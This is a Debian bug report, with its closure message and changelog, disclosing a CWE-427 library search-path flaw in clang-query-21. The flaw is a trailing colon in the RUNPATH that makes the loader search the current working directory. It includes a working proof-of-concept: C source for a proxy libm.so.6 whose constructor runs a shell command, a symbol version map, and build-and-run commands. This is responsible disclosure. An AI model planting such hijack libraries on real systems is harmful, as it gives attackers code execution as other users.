I have identified a security vulnerability (CWE-427) in the
`clang-query-21` binary where the `RUNPATH` contains a trailing colon (`:`).

According to ELF standards, a trailing or empty entry in `RUNPATH` is
interpreted by the dynamic linker as the current working directory (`.`).
This allows a local attacker to achieve arbitrary code  execution as the
user running `clang-query-21` by placing a malicious shared library in the
working directory.

*Verification:*

 $ readelf -d /usr/bin/clang-query-21 | grep RUNPATH

 0x000000000000001d (RUNPATH)            Library runpath:
[$ORIGIN/../lib:/build/reproducible-path/llvm-toolchain-21-21.1.8/build-llvm/tools/clang/stage2-bins/lib:]

Note the trailing colon. Other binaries in the same package, such as
clang-check-21, have correctly formed RUNPATHs ($ORIGIN/../lib).

*Proof-of-Concept:*

I have successfully exploited this on a Kali Linux (arm64) system by
creating a "proxy" `libm.so.6` in the current directory. By satisfying the
`GLIBC_2.17`, `GLIBC_2.29`, and `GLIBC_2.38` version requirements for
symbols like `fmod`, `log`, and `pow`, I was able to execute a
constructor-based payload (system call to touch /tmp/pwned) before the main
process starts.

This appears to be a build-system misconfiguration specifically affecting
the `clang-query` component of the `llvm-toolchain-21` source package.

*poc_libm.c*

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Dummy implementations
double fmod(double x, double y) { return 0.0; }
double log10(double x) { return 0.0; }
double log(double x) { return 0.0; }
double pow(double x, double y) { return 0.0; }
double ceil(double x) { return 0.0; }
double floor(double x) { return 0.0; }
double exp(double x) { return 0.0; }
double log2(double x) { return 0.0; }
double sin(double x) { return 0.0; }
double cos(double x) { return 0.0; }
double tan(double x) { return 0.0; }
double cosh(double x) { return 0.0; }
double sinh(double x) { return 0.0; }
double tanh(double x) { return 0.0; }
double erf(double x) { return 0.0; }
double logb(double x) { return 0.0; }
double log1p(double x) { return 0.0; }
double atan(double x) { return 0.0; }
double acos(double x) { return 0.0; }
double asin(double x) { return 0.0; }
double atan2(double y, double x) { return 0.0; }
double sqrt(double x) { return 0.0; }
double remainder(double x, double y) { return 0.0; }
int fesetround(int round) { return 0; }

void __attribute__((constructor)) init() {
    system("touch /tmp/pwned");
    printf("\n[!] HIJACK SUCCESSFUL: libm.so.6 proxied for
clang-query-21\n");
    exit(0);
}

*versions.map*

GLIBC_2.17 {
    global:
        log10; ceil; floor; sin; cos; tan; cosh; sinh; tanh; erf; logb;
log1p; atan; acos; asin; atan2; sqrt; remainder; fesetround;
};
GLIBC_2.29 {
    global:
        pow; exp; log2; log;
};
GLIBC_2.38 {
    global:
        fmod;
};
GLIBC_2.27 { global: *; };

*Example:*

$ gcc -shared -fPIC poc_libm.c -o libm.so.6
-Wl,--version-script=versions.map
$ /usr/bin/clang-query-21

[!] HIJACK SUCCESSFUL: libm.so.6 proxied for clang-query-21

$ ls /tmp | grep pwned
pwned

 I am reporting this to the BTS as per the Debian Security FAQ guidance for
vulnerabilities in the 'unstable' distribution.

*Proposed Fix:*

The RUNPATH should be sanitized during the build process to remove trailing
colons.

Sylvestre:
 > i don't think it should block the migration

maybe not blocking the migration, but the release. Please note that you
broke that with commit f2900952a6f6ecf912b45be973138f7442948211 on the
21 branch

We believe that the bug you reported is fixed in the latest version of
llvm-toolchain-23, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 1142995@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Sylvestre Ledru <sylvestre@debian.org> (supplier of updated llvm-toolchain-23 package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@ftp-master.debian.org)
Format: 1.8
Date: Thu, 22 Oct 2026 09:32:45 +0200
Source: llvm-toolchain-23
Architecture: source
Version: 1:23.1.4-1
Distribution: unstable
Urgency: medium
Maintainer: LLVM Packaging Team <pkg-llvm-team@lists.alioth.debian.org>
Changed-By: Sylvestre Ledru <sylvestre@debian.org>
Closes: 1142995
Changes:
 llvm-toolchain-23 (1:23.1.4-1) unstable; urgency=medium
 .
   * New upstream release
   * Remove OCaml support (and the libllvm-X.Y-ocaml-dev package). Thanks
     to Stephane Glondu for the fix
   * Enable sse2 back on i386.
     It is now the same as upstream. Thanks to Simon McVittie
   * Ship the clang-doc assets (share/clang-doc/) in clang-tools-X.Y with
     the clang-doc binary instead of clang-X.Y-doc, so that the HTML output
     works (see #1142559)
   * Make the source-path entries of /usr/lib/<triplet>/libc++.modules.json
     absolute, the relative ones only worked from /usr/lib/llvm-X.Y/lib
     (see #1142558)
   * Fix the remove_rpath macro in d/rules: it over-escaped '$' so it never
     stripped anything since 1:21.1.5. clang-query kept its build-dir
     RUNPATH with a trailing ':' which made ld.so look in the current
     directory (CWE-427). (Closes: #1142995)
Checksums-Sha1:
 a690de95c143ea163a54ce8406def5ef1b0ffd72 15321 llvm-toolchain-23_23.1.4-1.dsc
 fb9ba8888ad23dd0bf3646388894f55fafaeec94 211581832 llvm-toolchain-23_23.1.4.orig.tar.xz
 c54b58adb4485676dea9fdb36fcb89195515d093 189996 llvm-toolchain-23_23.1.4-1.debian.tar.xz
 39bd189759892c86c1b5df0902b8a05f89f88d79 38390 llvm-toolchain-23_23.1.4-1_amd64.buildinfo
Checksums-Sha256:
 d641965086ab2106a76a6a5e0b8e1519e8d789f5aed6c9bd51cad79ae023ae38 15321 llvm-toolchain-23_23.1.4-1.dsc
 7a81da07e8f3707132b36291cf6f8980354bca00ee3049d698ba98ec204931b4 211581832 llvm-toolchain-23_23.1.4.orig.tar.xz
 c22d395752c25c01f4d3fed93fff6c7e183b485e087b9751b7c77ba03166d80b 189996 llvm-toolchain-23_23.1.4-1.debian.tar.xz
 0e8acf2d5165f61cb657ea7e2dc0f1a4ef39abdd2048b72df7b5470a39aa5a4b 38390 llvm-toolchain-23_23.1.4-1_amd64.buildinfo
Files:
 1003e7107edcc46e61f0c3962c9d8d3c 15321 devel optional llvm-toolchain-23_23.1.4-1.dsc
 e94bf1ca511bc2cc08fa881766058cb0 211581832 devel optional llvm-toolchain-23_23.1.4.orig.tar.xz
 e29e92ddbb6584db6f2410e53e5bc098 189996 devel optional llvm-toolchain-23_23.1.4-1.debian.tar.xz
 3519bf2f8cc1ef6d200151e3bb264aee 38390 devel optional llvm-toolchain-23_23.1.4-1_amd64.buildinfo
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtg21mU05vsTRqVzPfmUo2nUvG+EFAmrZ6BwACgkQfmUo2nUv
G+Hpfg//Xbus88GnMh2eHgg0pLul11uKJEcluO+iN6jN2TnVRsyo9y/Viy3v4jhQ
wG/UofzufJetiXiIRsjO2AW4PhHvgojDPmVjh8kp8jblQGJ36yLoB+al3tCJ1JHf
jwObeFp7Ge2qKye47IfI5Hl9ssbI/RUpt/VaUajS5PtYMZlSs28TCI1S1UwL5joO
VE0Yofx43fJcilYywFWM0HQ5CNOGqve/yWFqAsv+qwz6dzm82Dclt44/qOamT0zH
aM0onM444J5mRdD1voPTFR7bLyYEMUmBY49dB1PvBbMR3/zOGLG8rKHvIv5R79dY
dV2Dz9xKEG62oSjaRN7ghs2HgZAjcKrnj4p/GGA1Lj5ITLbUEWSUzrk+j7r/Ri8p
ZbigzlrgoA49rehBC6zo7vMENRLBZcGg9umkZfKe8ffpaLomKG+J3nHiUHC4lRXB
Vix7cjOvys+SEn44elsraa0AQqhx7dQed28QILS6lwJeRD460csw1QsD7t0zd9DL
hlKg+38pm4RmvAT9TSDtl4+VworT1xGG2abUT7dJxgiZKnOVzGRDLwYD+fheoIwS
lRGnU6VPUMUYolE0a0x82yxEj0ZPWjkLDrZxwZ5lM5yYjECnS6INpWFsLauSDJIa
YNBXZ1s/w/MUAS3ul1oxp6fEHZDLYPEnGzia+m0u5ORKZJ7OqbE=
=wiQL
-----END PGP SIGNATURE-----